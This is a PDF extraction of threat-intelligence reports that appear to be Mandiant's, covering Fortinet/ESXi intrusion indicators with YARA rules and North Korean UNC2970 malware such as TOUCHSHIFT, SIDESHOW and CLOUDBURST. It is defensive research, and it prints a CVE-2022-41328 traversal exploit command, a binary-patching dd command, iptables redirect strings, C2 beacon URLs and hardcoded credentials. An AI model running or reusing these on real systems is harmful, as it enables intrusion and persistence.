+technology available to persist and traverse a target environment, especially those technologies that do not support EDR solutions. +This presents a unique challenge for investigators as many network appliances lack solutions to detect runtime modifications made +to the underlying operating system and require direct involvement of the manufacturer to collect forensic images. Cross +organizational communication and collaboration is key to providing both manufacturers with early notice of new attack methods in +the wild before they are made public and investigators with expertise to better shed light on these new attacks. +Mandiant recommends organizations using the ESXi and the VMware infrastructure suite follow the hardening steps outlined in this +blog post to minimize the attack surface of ESXi hosts. +Acknowledgements +Special thanks to Jeremy Koppen, Kirstie Failey, Bryce Bucklin, Jay Smith, Nicholas Luedtke, Ronnie Salomonsen, Nino Isakovic, +Charles Carmakal, and Fortinet PSIRT for their assistance with the investigation, technical review, and creating detections for the +malware families discussed in this blog post. In addition, we would also like to thank Fortinet and VMware for their collaboration on +this research. +15/21 +Fortinet released two additional resources covering CVE-2022-41328 and an analysis of identified attacker activity. +MITRE ATT&CK Techniques +Impact +T1565.001: Stored Data Manipulation +Defense Evasion +T1027: +Obfuscated Files or Information +T1070: +Indicator Removal +T1070.003: Clear Command History +T1070.004: File Deletion +T1078: +Valid Accounts +T1140: +Deobfuscate/Decode Files or Information +T1202: +Indirect Command Execution +T1218.011: Rundll32 +T1222: +File and Directory Permissions Modification +T1497: +Virtualization/Sandbox Evasion +T1497.001: System Checks +T1620: +Reflective Code Loading +Credential Access +T1552: +Unsecured Credentials +T1555.005: Password Managers +Discovery +T1016: +T1033: +T1057: +T1082: +T1083: +T1087: +T1518: +System Network Configuration Discovery +System Owner/User Discovery +Process Discovery +System Information Discovery +File and Directory Discovery +Account Discovery +Software Discovery +Collection +T1074.001: Local Data Staging +T1560: +Archive Collected Data +T1560.001: Archive via Utility +Execution +T1059: +Command and Scripting Interpreter +T1059.001: PowerShell +T1059.003: Windows Command Shell +T1059.004: Unix Shell +T1059.006: Python +T1129: +Shared Modules +Command and Control +T1095: +Non-Application Layer Protocol +T1102.001: Dead Drop Resolver +T1105: +Ingress Tool Transfer +T1571: +Non-Standard Port +T1573.001: Symmetric Cryptography +Lateral Movement +16/21 +T1021.004: SSH +Indicators of Compromise +Type +Values +Description +FortiGate +Command +execute wireless-controller hs20-icon upload-icon ftp ../../../../../../bin/lspci +Attempted execution of this command +or similar commands containing +directory traversal are indicative of +attempted exploitation of CVE-202241328 to upload a file to a normally +restricted directory +FortiGate +Command +execute wireless-controller hs20-icon upload-icon tftp ../../../../../../bin/lspci +Attempted execution of this command +or similar commands containing +directory traversal are indicative of +attempted exploitation of CVE-202241328 to upload a file to a normally +restricted directory +Filename +/bin/fgfm +CASTLETAP Sample found on a +FortiGate device +Symlinked +File +/bin/lspci -> /bin/sysctl +lspci should be a standalone binary +within FortiGate devices. A symlink +suggests that a modification was made +to the file system +/p/util/show_device_info +An API call which created by the threat +actor which acted as a persistent +backdoor on FortiManager devices +/p/utils/fortigate_syslog_send +An API call which created by the threat +actor which acted as a persistent +backdoor on FortiAnalyzer devices +Python +Function +get_device_info +A malicious python function added to +/usr/local/lib/python3.8/proj/util/views.py +on FortiAnalyzer and FortiManager +devices which provided threat actors +with a persistent backdoor +Filename +/bin/support +Threat actor script which launches +/bin/auth (TABLEFLIP) and /bin/klogd +(REPTILE) and deletes the two files +along with /bin/support from disk +Filename +/bin/auth +TABLEFLIP Sample - A passive utility +to setup traffic redirection from a +specific IP address destined to the +FortiManager on TCP541 to another +specified port. +Filename +/bin/klogd +REPTILE - A backdoor utility that +listens for a specialized packet for +activation +17/21 +Config +Change +printf "t" | dd of=/bin/smit bs=1 count=1 conv=notrunc seek=22866 2>/dev/null +Config change made to +/etc/init.d/localnet on FortiAnalyzer and +FortiManager devices to revert a binary +after it was modified to bypass digital +signature verification of system files +9ce2459168cf4b5af494776a70e0feda +Threat actor script which launches +/bin/auth (TABLEFLIP) and /bin/klogd +(REPTILE) and deletes the two files +along with /bin/support from disk +b6e92149efaf78e9ce7552297505b9d5 +TABLEFLIP sample +53a69adac914808eced2bf8155a7512d +REPTILE variant sample +a388ebaef45add5da503e4bf2b9da546 +Modified /bin/smit +88711ebc99e1390f1ce2f42a6de0654d +Localnet sample +e2d2884869f48f40b32fb27cc3bdefff +CASTLETAP sample +53a69adac914808eced2bf8155a7512d +REPTILE variant sample +64bdf7a631bc76b01b985f1d46b35ea6 +THINCRUST sample +a86a8fe875a89816e5808588154a067e +THINCRUST sample +3e43511c4f7f551290292394c4e21de7 +Related to THINCRUST +SHA1 +86f3623b3fb8d5303b6c9d8295292a5c2ceb2889 +Localnet sample +SHA1 +75c092098e3409d366a46fdde6a92ff97d29cee1 +Smit sample +SHA1 +9dca7f1af5752bb007e5cc55acd2511f03049ee5 +TABLEFLIP sample +SHA1 +8c40fc87fa3b25a559585b10a8ca11c81fb09f75 +CASTLETAP sample +SHA1 +3109b890901499f7ebb90f8870a7d1617d27e7c9 +REPTILE variant sample +SHA1 +b8bdaa1bd204a6c710875b0c4265655d1fd37d52 +/bin/support sample +SHA1 +1a077212735617a665a6b631e34a6aedcbc41713 +THINCRUST sample +SHA1 +d5f8436e9815358e33b8243abda76c9b398943e2 +THINCRUST sample +SHA1 +8ef5159944d048fe84e51a818c9b11ebcfa98517 +Related to THINCRUST +SHA256 +245e4646e5d984c2da4cfe223bb2fae679441bcf42b254fc193ae97dc32af7ad +Localnet sample +SHA256 +9fb09fe6db61fbdd19ac9c368e2f64fb9606119649830762fa467719c480ed44 +Smit sample +SHA256 +18afbad17dee0e4330a85b782e8e580c6125d8a7127cda69ad0e2728d505a6f5 +TABLEFLIP sample +18/21 +SHA256 +a00fed53b1ece4610c8b52934c20af3667d455f092a77f8d9bc46fdb9047e41a +CASTLETAP sample +SHA256 +eb6af99148f0ce5b58e414162ff2b7567b4cf08953862a088996365ff306014b +REPTILE variant sample +SHA256 +33c22b2db8c0948c67204485972d2eb856e13dca16132371337fc3534e3df16d +/bin/support sample +SHA256 +abefe121e5c895bf63be80152ccbe2d7bb5ad985aa3ab989bcb7c0804b90d004 +THINCRUST sample +SHA256 +2266667af7532a32b9c21c330a9fe56356ca66610e39654804a7262f2af61017 +THINCRUST sample +SHA256 +4e4c5e5ca588bd84b67a37b654ec522768fa83e535ff795a5c196da8f8b9737d +Related to THINCRUST +YARA Rules +rule M_Hunting_Util_TABLEFLIP_1 +meta: +author = "Mandiant" +description = "Looks for TABLEFLIP Binary" +md5 = "b6e92149efaf78e9ce7552297505b9d5" +strings: +$z1 = "%1$s.*%2$d" fullword +$x1 = "/proc/self/exe" fullword +$x2 = "socket" fullword +$x3 = "127." fullword +$x4 = "iptables -t nat" fullword +$s1 = "iptables -t nat -S PREROUTING | grep %1$s | grep %2$d || iptables -t nat -A PREROUTING -p tcp s %1$s --dport 541 -j REDIRECT --to-port %2$d" +$s2 = "iptables -t nat -S PREROUTING | tail -n +2 | grep -n -E '%1$s.*%2$d' | awk -F: '{print $1}'| +xargs iptables -t nat -D PREROUTING" +condition: +uint32(0) == 0x464c457f and filesize < 5MB and @x1 <= @x2 and @x2 <= @x3 and @x3 <= @x4 and ( $z1 or +any of ($s*) ) +19/21 +rule M_Hunting_Backdoor_REPTILE_1 +meta: +author = "Mandiant" +description = "Looks for ELF backdoor REPTILE variant" +md5 = "53a69adac914808eced2bf8155a7512d" +strings: +$x1 = ";7(Zu9YTsA7qQ#vw" +$x2 = "mznCvqSBo" +$x3 = "hpaVAj2FJ" +$x4 = "%d.%d.%d.%d" +$x5 = "HISTFILE=" +$x6 = "TERM" +$x7 = { 58 90 AE 86 F1 B9 1C F6 29 83 95 71 1D DE 58 0D } // taken from +FE_Hunting_Linux_TINYSHELL_2_FEBeta.yara +condition: +uint32(0) == 0x464c457f and all of them and #x4 >= 3 and #x6 == 1 and filesize < 15MB +20/21 +rule M_Hunting_Backdoor_CASTLETAP_1 +meta: +author = "Mandiant" +description = "Finds strings observed in CASTLETOP ELF binary" +md5 = "e2d2884869f48f40b32fb27cc3bdefff" +strings: +$x1 = ";7(Zu9YTsA7qQ#vw" +$x2 = "qWWlC0v6yYh2yxu" +$x3 = "1qaz@WSXa" +$x4 = "hpaVAj2FJ" +$x5 = "%d.%d.%d.%d" +$x6 = "HISTFILE=" +$x7 = "TERM" +$x8 = "/tmp/busybox" +$x9 = { 58 90 AE 86 F1 B9 1C F6 29 83 95 71 1D DE 58 0D } +condition: +uint16(18) == 183 and +uint16(16) == 0x02 and +uint32(0) == 0x464c457f and 1 of ($x*) and #x5 >= 3 and #x7 == 1 and filesize < 15MB +rule M_Hunting_Backdoor_CASTLETAP_2 +meta: +author = "Mandiant" +description = "Finds byte pattern related to XOR decode function" +md5 = "e2d2884869f48f40b32fb27cc3bdefff" +strings: +$x1 = { ?? 14 40 B9 ?? B0 1D 11 ?? 10 40 B9 [5] 0C 40 B9 [5] 1F 80 52 [9] 1F 00 12 } +condition: +uint16(18) == 183 and +uint16(16) == 0x02 and +uint32(0) == 0x464c457f and any of them and filesize < 15MB +21/21 +Stealing the LIGHTSHOW (Part One) + North Korea's UNC2970 +mandiant.com/resources/blog/lightshow-north-korea-unc2970 +Since June 2022, Mandiant has been tracking a campaign targeting Western Media and Technology companies from a suspected North Korean +espionage group tracked as UNC2970. In June 2022, Mandiant Managed Defense detected and responded to an UNC2970 phishing campaign +targeting a U.S.-based technology company. During this operation, Mandiant observed UNC2970 leverage three new code families: +TOUCHMOVE, SIDESHOW, and TOUCHSHIFT. Mandiant suspects UNC2970 specifically targeted security researchers in this operation. +Following the identification of this campaign, Mandiant responded to multiple UNC2970 intrusions targeting U.S. and European Media +organizations through spear-phishing that used a job recruitment theme and demonstrated advancements in the groups ability to operate in +cloud environments and against Endpoint Detection and Response (EDR) tools. +UNC2970 is suspected with high confidence to be UNC577, also known as Temp.Hermit. UNC577 is a cluster of North Korean cyber activity +that has been active since at least 2013. The group has significant malware overlaps with other North Korean operators and is believed to share +resources, such as code and complete malware tools with other distinct actors. While observed UNC577 activity primarily targets entities in +South Korea, it has also targeted other organizations worldwide. +UNC2970 has historically targeted organizations with spear phishing emails containing a job recruitment theme. These operations have +multiple overlaps with public reporting on +Operation Dream Job + by Google TAG, Proofpoint, and ClearSky. +UNC2970 has recently shifted to targeting users directly on LinkedIn using fake accounts posing as recruiters. UNC2970 maintains an array of +specially crafted LinkedIn accounts based on legitimate users. These accounts are well designed and professionally curated to mimic the +identities of the legitimate users in order to build rapport and increase the likelihood of conversation and interaction. UNC2970 uses these +accounts to socially engineer targets into engaging over WhatsApp, where UNC2970 will then deliver a phishing payload either to a target +email, or directly over WhatsApp. UNC2970 largely employs the PLANKWALK backdoor during phishing operations as well as other malware +families that share code with multiple tools leveraged by UNC577. Mandiant recently published a blog post detailing UNC2970 activity that was +identified by Mandiant Managed Defense during proactive threat hunting. This activity was initially clustered as UNC4034 but has since been +merged into UNC2970 based on multiple infrastructure, tooling, and tactics, techniques, and procedures (TTP) overlaps. +When you're done reading this post, don't forget to check out part two on LIGHTSHIFT and LIGHTSHOW. +Summary +In June 2022, Mandiant Managed Defense detected and responded to an UNC2970 phishing campaign targeting a U.S.-based technology +company. During this operation, Mandiant observed UNC2970 leverage three new code families: TOUCHMOVE, SIDESHOW, and +TOUCHSHIFT. Mandiant suspects UNC2970 specifically targeted security researchers in this operation. Following the identification of this +campaign, Mandiant responded to multiple UNC2970 intrusions targeting U.S. and European Media organizations through spear-phishing +that used a job recruitment theme. +Initial Access +When conducting phishing operations, UNC2970 engaged with targets initially over LinkedIn masquerading as recruiters. Once UNC2970 +contacts a target, they would attempt to shift the conversation to WhatsApp, where they would continue interacting with their target before +sending a phishing payload that masqueraded as a job description. In at least one case, UNC2970 continued interacting with a victim even after +the phishing payload was executed and detected, asking for screenshots of the detection. +The phishing payloads primarily utilized by UNC2970 are Microsoft Word documents embedded with macros to perform remote-template +injection to pull down and execute a payload from a remote command and control (C2). Mandiant has observed UNC2970 tailoring the fake job +descriptions to specific targets. +1/20 +Figure 1: UNC2970 lure document +The C2 servers utilized by UNC2970 for remote template injection have primarily been compromised WordPress sites, a trend observed in +other UNC2970 code families as well as those used by other DPRK groups. At the time of analysis, the remote template was no longer present +on the C2, however following this phishing activity, Mandiant identified it beaconing to a C2 associated with PLANKWALK. +In the most recent UNC2970 investigation, Mandiant observed the group returning to WhatsApp to engage their targets. This activity overlaps +with a recent blog post by MSTIC on operations from ZINC, as well as the previously mentioned Mandiant blog post from July 2022. +The ZIP file delivered by UNC2970 contained what the victim thought was a skills assessment test for a job application. In reality, the ZIP +contained an ISO file, which included a trojanized version of TightVNC that Mandiant tracks as LIDSHIFT. The victim was instructed to run +the TightVNC application which, along with the other files, are named appropriately to the company the victim had planned to take the +assessment for. +In addition to functioning as a legitimate TightVNC viewer, LIDSHIFT contained multiple hidden features. The first was that upon execution +by the user, the malware would send a beacon back to its hardcoded C2; the only interaction this needed from the user was the launching of the +program. This lack of interaction differs from what MSTIC observed in their recent blog post. The initial C2 beacon from LIDSHIFT contains +the victim +s initial username and hostname. +LIDSHIFT +s second capability is to reflectively inject an encrypted DLL into memory. The injected DLL is a trojanized Notepad++ plugin that +functions as a downloader, which Mandiant tracks as LIDSHOT. LIDSHOT is injected as soon as the victim opens the drop down inside of the +TightVNC Viewer application. LIDSHOT has two primary functions: system enumeration and downloading and executing shellcode from the +LIDSHOT sends the following information back to its C2: +Computer Name +Product name as recorded in the following registry key +SOFTWARE\\Microsoft\\Windows +NT\\CurrentVersion\\ProductName +IP address +Process List with User and Session ID associate per process +Establish Foothold +2/20 +In multiple investigations, Mandiant has observed UNC2970 deploy PLANKWALK to establish footholds within environments. PLANKWALK +is a backdoor written in C++ that communicates over HTTP and utilizes multiple layers of DLL sideloading to execute an encrypted payload. +PLANKWALK is initially executed through a launcher that will import and execute a second stage launcher expected to be on disk. +Observed First Stage Launcher names: +destextapi.dll +manextapi.dll +pathextapi.dll +preextapi.dll +Wbemcomn.dll +Once loaded and executed, the secondary launcher will attempt to decrypt and execute an encrypted PLANKWALK sample on disk that +matches the following pattern: +C:\ProgramData\Microsoft\Vault\cache.db +Once executed, PLANKWALK will decrypt an on-host encrypted configuration file that contains the C2 for the backdoor. The C2 for +PLANKWALK has largely been co-opted by legitimate WordPress sites. +Following the deployment of PLANKWALK, Mandiant observed UNC2970 leverage a wide variety of additional tooling, including Microsoft +InTune to deploy a shellcode downloader. +Tool Time: Kim +The Toolman + Taylor +During their operations, Mandiant has observed UNC2970 use a wide range of custom, post-exploitation tooling to achieve their goals. One of +UNC2970's go-to tools has been a dropper tracked as TOUCHSHIFT. TOUCHSHIFT allows UNC2970 to employ follow-on tooling that range +from keyloggers and screenshot utilities, to full featured backdoors. +TOUCHSHIFT +TOUCHSHIFT is a malicious dropper that masquerades as mscoree.dll or netplwix.dll . TOUCHSHIFT is typically created in the same +directory and simultaneously as a legitimate copy of a Windows binary. TOUCHSHIFT leverages DLL Search Order Hijacking to use the +legitimate file to load and execute itself. TOUCHSHIFT has been observed containing one to two various payloads which it executes inmemory. Payloads that have been seen include TOUCHSHOT, TOUCHKEY, HOOKSHOT, TOUCHMOVE, and SIDESHOW. +To appear legitimate, the file uses over 100 exports that match common system export names. However, the majority all point to the same +empty function. The malicious code has been seen located in exports LockClrVersion or UsersRunDllW in different instances. +Figure 2: Malicious export alongside several of the dummy exports +When TOUCHSHIFT contains a second payload, it takes a single character command line option as its first argument to determine which of the +two payloads to execute. +3/20 +Figure 3: Checking command line options +To unpack its payload(s), TOUCHSHIFT generates a decryption key by XOR encoding its second argument and the first 16 characters of the +legitimate executable +s file name. +For example, in one instance Mandiant observed the arguments -CortanaUIFilter , XOR encoded with the hardcoded key +009WAYHb90687PXkS ,and printfilterpipel ,which was XOR encoded with the hardcoded key .sV%58&.lypQ[$= and was loaded by the +file printfilterpipelinesvc.exe . In another instance, the argument used was --forkavlauncher and the loading file was +C:\windows\Branding\Netplwiz.exe . +Once the code is unpacked, it is then loaded into a memory location created by a call to VirtualAlloc and executed from there. +Figure 4: Beginning of unpacked payload in memory +Once the payload(s) has/have been executed, the main portion of TOUCHSHIFT will sleep for a period of time allowing the payload(s) to +continue executing. +TOUCHSHIFT-ing into Gear + Follow on payloads +4/20 +TOUCHSHOT +TOUCHSHOT takes screenshots of the system on which it is running and saves them to a file to be retrieved by the threat actor at a later time. +TOUCHSHOT is configured to take a screenshot every three seconds, and then uses ZLIB to compress the images. The compressed data is then +appended to a file that it creates and continues appending new screenshots to this file until the file reaches five megabytes in size, at which +point it will create a new file with the same naming convention. TOUCHSHOT was seen embedded in the same instance of TOUCHSHIFT as +TOUCHKEY (discussed later in the post). +TOUCHSHOT will create a file in the C:\Users\{user}\AppData\Roaming\Microsoft\Windows\Themes\ directory, and will name the file +~DM{####}P.dat , where the four numbers are pseudo-randomly generated. Once TOUCHSHOT has generated the file name, it attempts to +create a handle to the file. If the return value indicates that the file does not exist, it will then create the file. This check is performed as part of a +loop that continues until a new file needs to be created. After each iteration of the loop, TOUCHSHOT will then take a screenshot, which is +appended to the staging file. +Figure 5: Generation of the directory path +Figure 6: Generation of file name with pseudo-random +numbers +5/20 +Figure 7: Creating a handle to the file or creating it +Figure 8: Taking a screenshot +TOUCHKEY +TOUCHKEY is a keylogger that captures keystrokes and clipboard data, both of which are encoded with a single-byte XOR and saved to a file. +As with TOUCHSHOT, these files need to be acquired by the threat actor through additional means. +Figure 9: XOR +ing data with byte 0x62 before writing to the staging file +TOUCHKEY creates two files in the C:\Users\{user}\AppData\Roaming\Microsoft\Windows\Templates\ directory. The file name +Normal.dost is used for storing the captured keystrokes, while the file name Normal.docb is used for the clipboard data. The full paths are +then passed into their own thread, where the keystrokes or clipboard data will be captured and appended to their respective files. +Figure 10: Path generation for the staging files +6/20 +Figure 11: Adding file names to the full path and creating the threads +In one of the created threads, TOUCHKEY will open the clipboard and grab the data that is stored within it. In the other thread, TOUCHKEY +will set a hook into the keyboard, and record any keys that are pressed. +Figure 12: Capturing the clipboard data +Figure 13: Capturing keystrokes +HOOKSHOT +HOOKSHOT is a tunneler that leverages a statically linked implementation of OpenSSL to communicate back to its C2. While it connects over +TCP, it does not make use of a client certificate for encryption. +Figure 14: Example of OpenSSL statically linked in the file +HOOKSHOT takes an encoded argument containing two IP and port pairs, which it will leverage for communicating with its C2. +7/20 +Figure 15: Separating IP +s and ports +HOOKSHOT will then create a socket using these two IP addresses, and tunnel traffic across them utilizing TLSv1.0. +Figure 16: Socket creation +TOUCHMOVE +TOUCHMOVE is a loader that decrypts a configuration file and a payload, both of which must be on disk, and then executes the payload. +TOUCHMOVE generates an RC6 key to decrypt the two files by querying the system +s BIOS date, version, manufacturer, and product name. +Once decrypted, the results are XOR encoded with a hardcoded key. If the generated RC6 key is incorrect, the configuration and payload files +will not successfully decrypt, indicating that UNC2970 compiles instances of TOUCHMOVE after having already conducted reconnaissance on +the target victim system. Once the RC6 key is successfully generated, a handle is created to the configuration file, and the decryption process is +conducted. If the configuration file is successfully decrypted, the payload +s full path is located within it, and the same decryption process then +occurs on the payload. Following this, the payload is executed. +8/20 +Figure 17: Bios query strings +Figure 18: Creating a handle to the configuration file +Figure 19: Creating a handle to the payload +SIDESHOW +SIDESHOW is a backdoor written in C/C++ that communicates via HTTP POST requests with its C2 server. The backdoor is multi-threaded, +uses RC6 encryption, and supports at least 49 commands, which can be seen in Table 1. Capabilities include arbitrary command execution +(WMI capable); payload execution via process injection; service, registry, scheduled task, and firewall manipulation; querying and updating +Domain Controller settings; creating password protected ZIP files; and more. SIDESHOW does not explicitly establish persistence; however, +based on the multitude of supported commands it may be commanded to establish persistence. +SIDESHOW derives a system-specific RC6 key using the same registry values as TOUCHMOVE and uses the generated key to decrypt the same +configuration file from disk that TOUCHMOVE decrypted. The decrypted configuration file contains a list of C2 URLs to which SIDESHOW +communicates using HTTP POST requests. SIDESHOW iterates this C2 URL list and attempts to authenticate to each C2 URL until it is +successful. Once successful, SIDESHOW enters a state of command processing and sends additional HTTP POST requests to retrieve +commands. SIDESHOW attempts to use the system's default HTTP User-Agent string during C2 communications; however, if not available it +uses the hard-coded HTTP User-Agent string: +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36 +Edg/97.0.1072.69 +When communicating to its C2 server via HTTP POST requests, SIDESHOW forms a URI parameter string consisting of a mix of randomly +selected and hard-coded URI parameters. +Authentication requests use the following URI parameter string format: +1=&=pAJ9dk4OVq85jxKWoNfw1AG2C&=<16_random_hex_chars> +The first URI parameter value comes from SIDESHOW +s configuration and is used to seed the random function. +The second URI parameter value, pAJ9dk4OVq85jxKWoNfw1AG2C , is hardcoded and likely an authentication credential. +The third URI parameter value, <16_random_hex_chars> , is a session identifier ( ) used for future communications and +consists of two subcomponents: +1. <8_random_hex_based_on_seed> +2. <8_random_hex_based_on_tickcount> +9/20 +The first URI parameter's value, , is used as a random seed value to derive the first eight hexadecimal characters +( <8_random_hex_based_on_seed> ), whereas the last eight hexadecimal characters ( <8_random_hex_based_on_tickcount> ) are derived +using the CPU's current tick count as the random seed value. This results in the value <8_random_hex_based_on_seed> being deterministic, +while <8_random_hex_based_on_tickcount> is pseudo-random. +The following is an example authentication URI parameter string: +1pguid=A59&ssln=pAJ9dk4OVq85jxKWoNfw1AG2C&cup2key=184B280E341AE63F +Figure 20: Building of URI parameter string +SIDESHOW parses the response and considers it a successful authentication if it contains the string . +Command requests use the following URI parameter string format (notice that the and have switched locations in +the string). +1=<5_random_digits>&=2&=<6_random_digits> +Example command URI parameter string: +1other=37685&session=2184B280E341AE63F&page=593881 +SIDESHOW parses the command response body and extracts data following the string . SIDESHOW then appears to +Base64 decode and RC6 decrypt the extracted data. SIDESHOW responds to the commands listed in Table 1 (commands are described on a +best effort basis). +Figure 21: Switch statement following parsing of command +Command ID +Description +Get lightweight system information and a few configuration details +Enumerate drives and list free space +List files in directory +Execute arbitrary command via CreateProccess() and return output +Likely zip directory to create password protected ZIP file with password AtbsxjCiD2axc*ic[3 +The malicious PowerShell script was used to decode the Base64 encoded CLOUDBURST payload and drop it on disk as +C:\ProgramData\mscoree.dll . The script would then write a copy of C:\Windows\System32\PresentationHost.exe to +C:\ProgramData and execute it with the argument -embeddingObject . PresentationHost.exe is a legitimate Windows binary used by +UNC2970 to sideload CLOUDBURST. +Upon execution, PresentationHost.exe would load the CLOUDBURST payload into memory. Upon further analysis of the Microsoft IME +endpoint logs, Mandiant identified a unique GUID, f391eded-82d3-4506-8bf4-9213f6f4d586 , in the PolicyID field, which is a "Unique +identifier of the Policy in the data warehouse". The Intune Data Warehouse provides insight and information about an enterprise mobile +environment, such as historical Intune data and Intune data refreshed on a daily occurence. The identified GUID also matched the GUID of the +PowerShell script file name and the GUID observed in an IME associated registry key. +When reviewing the Intune Tenant admin Audit logs, Mandiant identified the same GUID under the ObjectID field. The Intune Tenant audit +logs shows records of activities that generate a change in Intune, including create, update (edit), delete, assign, and remote actions. The logs +revealed that the threat actors used a previously compromised account to perform a create, assign, patch, and finally a delete action of a Device +Management Script, using the Target Microsoft.Management.Services.Api.DeviceManagementScript and the GroupID f391eded82d3-4506-8bf4-9213f6f4d586 . +Further analysis revealed that ObjectID GUIDs referenced in the Intune Tenant admin Audit logs maps to the ID of Mobile App assignment +groups. +At the time of analysis, the GroupID f391eded-82d3-4506-8bf4-9213f6f4d586 , was no longer present in the Intune Endpoint management +admin center, and was likely deleted by the threat actors. +In order to determine malicious usage of Microsoft Intune, Mandiant performed the following analysis steps: +1. Analyzed AzureAD sign-in logs for evidence of suspicious logons to the Microsoft Intune application +Analyzed Microsoft Intune audit logs for evidence of unexpected deployments and performed the following: +Utilized the GroupID GUID to search for the presence of the following endpoint artifacts: +1. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ IntuneManagementExtension\Policies\\ +2. C:\Program Files (x86)\Microsoft Microsoft IME\Policies\Scripts\_.ps1 +2. For hosts that had the aforementioned artifacts, the following was performed: +Acquired the PS1 file(s) and analyzed for malicious code +Performed traditional endpoint analysis +Mandiant tracks the malware being distributed via InTune as CLOUDBURST. CLOUDBURST is a downloader written in C that communicates +via HTTP. The malware attempts to make itself look like a legitimate version of mscoree.dll , but contains fake exports, the same way that +TOUCHSHIFT uses fake exports. One variant of CLOUDBURST made use of legitimate open-source software that was added as exports, in +addition to the fake exports. The actual export with malicious code is CorExitProcess . The CorExitProcess export expects the single +argument -embeddingObject. +13/20 +Figure 22: Comparing command line argument with -embeddingObject +Once the aforementioned command line argument has been verified, CLOUDBURST builds the domain as a stack string, and sends out the two +following requests to the C2 server: +hxxps://[c2domain]/wp-content/plugins/contact.php?gametype=&type=O8Akm8aV09Nw412KMoWJd +hxxps://[c2domain]/wp-content/plugins/contact.php?gametype=tennis&type=k +Following the network connections, CLOUDBURST conducts a host survey, in which it will determine the Product Name, Computer Name, and +enumerate running processes. +Upon completion of the host enumeration, CLOUDBURST then downloads and executes +shellcode from the C2 server. At this time, Mandiant was unable to recover and identify +the purpose of the shellcode downloaded by CLOUDBURST. +Figure 23: Calling functions to enumerate the host +Figure 24: Allocating and populating memory space, and executing the shellcode +Outlook and Implications +The identified malware tools highlight continued malware development and deployment of new tools by UNC2970. Although the group has +previously targeted defense, media, and technology industries, the targeting of security researchers suggests a shift in strategy or an expansion +of its operations. Technical indicators and the group +s TTPs link it to TEMP.Hermit, although this latest activity suggests the group is adapting +their capabilities as more of their targets move to cloud services. To learn more about how UNC2970 further enabled its operations, please see +part two of our research. +Campaign Tracking +Mandiant will continue to monitor UNC2970 +s campaigns and intrusion operations and will provide notable and dynamic updates regarding +changes in tactics and techniques, the introduction of tools with new capabilities, or the use of new infrastructure to carry out their mission. +For more insights into how Mandiant tracks this and similar campaigns, see our Threat Campaigns feature within Mandiant Advantage Threat +Intelligence. +Recommended Mitigations +Hardening Azure AD and Microsoft Intune +Mandiant has observed UNC2970 leverage weak identity controls in Azure AD combined with Microsoft Intune +s endpoint management +capabilities to effectively deploy malicious PowerShell scripts onto unsuspecting endpoints. +14/20 +Increasing Azure AD identity protections and limiting access to Microsoft Intune is essential in mitigating the attacker activity observed by +Mandiant. Organizations should consider implementing the following hardening controls: +Cloud-Only Accounts: Organizations should utilize cloud-only accounts for privileged access within Azure AD (e.g., Global Admins, Intune +Administrator) and never assign privileged access to synced accounts from on-premises identity providers such as Active Directory. +Additionally, admins should utilize a separate +daily-driver + account for day-to-day activities such as sending email or web-browsing. +Dedicated admin accounts should be utilized to carry out administrative functions only. +Enforce Strong Multi-Factor Authentication Methods: Organizations should consider enforcing enhanced and phishing-resistant +Multi-Factor Authentication (MFA) methods for all users and administrators. Weak MFA methods commonly include SMS, Voice (phone call), +OTPs, or Push notifications and should be considered for removal. MFA enhancements for non-privileged users should include contextual +information regarding the MFA request such as number-matching, application name, and geographic location. For privileged accounts, +Mandiant recommends the enforcement of hardware tokens or FIDO2 Security Keys as-well as requiring MFA per each sign-in regardless of +location (e.g., Trusted Network, Corporate VPN). As an initial roll out for enhanced MFA methods, organizations should focus on all accounts +with administrative privileges in Azure AD. Microsoft has additional information regarding contextual MFA settings. +Privileged Identity Management (PIM) Solution: Mandiant recommends that organizations consider utilizing a PIM solution. A PIM +solution should include a Just-In-Time (JIT) access capability which will provide access when requested, for a specific duration of time, and +should initiate an approval flow, prior to providing an account access to a highly privileged role (e.g., Global Administrator or Intune +Administrator). +Conditional Access Policies (CAPs) to Enforce Security Restrictions in Azure AD: A CAP allows organizations to set requirements +for accessing cloud apps such as Intune, based on various conditions including location and device platform. Mandiant recommends that +Organizations utilize CAPs to restrict Azure administrative functions to only compliant and registered devices in Azure AD and only from a +specific subset of trusted IPs or ranges. Microsoft has more information on leveraging CAPs to access Cloud Apps. +Azure Identity Protection: Azure Identity Protection is a security feature within Azure Active Directory that allows organizations to +automate the detection and remediation of identity-based risks. Identity Protection analyzes user account activity as-well as sign-in activity to +identify potentially compromised accounts or unauthorized authentication requests. Identity Protection data can be leveraged to enhance +Conditional Access Policies by enforcing access controls based on user or sign-in risk. Additionally, Identity Protection risk data should be +exported to a Security Information and Event Management (SIEM) solution for further correlation and analysis. Note: Azure Identity +Protection requires an Azure AD Premium P2 License. +Multi Admin Approval with Intune: To prevent unauthorized changes, organizations utilizing Intune should implement the Multi Admin +Approval feature. This feature enforces a multiple administrative approval process that requires secondary admin approval before modifying or +creating Script and App deployments. Note: As of February 2023, Multi Admin Approval is in Public Preview and does not yet support request +notifications. Requests will need to be manually communicated to expedite the approval workflow. Microsoft has more information regarding +Multi Admin Approval. +Additional Security Controls +Block Office Macros: While Microsoft has changed the default behavior of Office applications to block macros from the internet, Mandiant +still recommends Organizations proactively deploy policies to control and enforce the behavior of office files containing macros. Microsoft has +more information on using policies to manage how Office handles macros. +Disable Disk Image Auto-Mount: Mandiant has observed UNC2970 utilize trojanized ISO files containing malicious payloads to bypass +security controls and trick victims into executing malware. On Windows systems, the option to mount an ISO by +right-clicking + the file then +selecting +Mount + from the context menu can be removed by deleting the registry keys associated with image file types (.iso, .img, .vhd, .vhdx). +Deleting these registry keys will also prevent a user from auto-mounting an image file by +double-clicking + the file. +Enhance PowerShell Logging: Increase PowerShell logging to provide security engineers and investigators the visibility needed to detect +malicious activity and provide a historical record of how PowerShell was used on systems. For additional details regarding enhancing +PowerShell logging, please reference to the Mandiant blog post, +Greater Visibility Through PowerShell Logging +Indicators of Compromise +Signature +e97b13b7e91edeceeac876c3869cc4eb +PLANKWALK +a9e30c16df400c3f24fc4e9d76db78ef +PLANKWALK +f910ffb063abe31e87982bad68fd0d87 +PLANKWALK +15/20 +30358639af2ecc217bbc26008c5640a7 +LIDSHIFT +41dcd8db4371574453561251701107bc +LIDSHOT +866f9f205fa1d47af27173b5eb464363 +TOUCHSHIFT +8c597659ede15d97914cb27512a55fc7 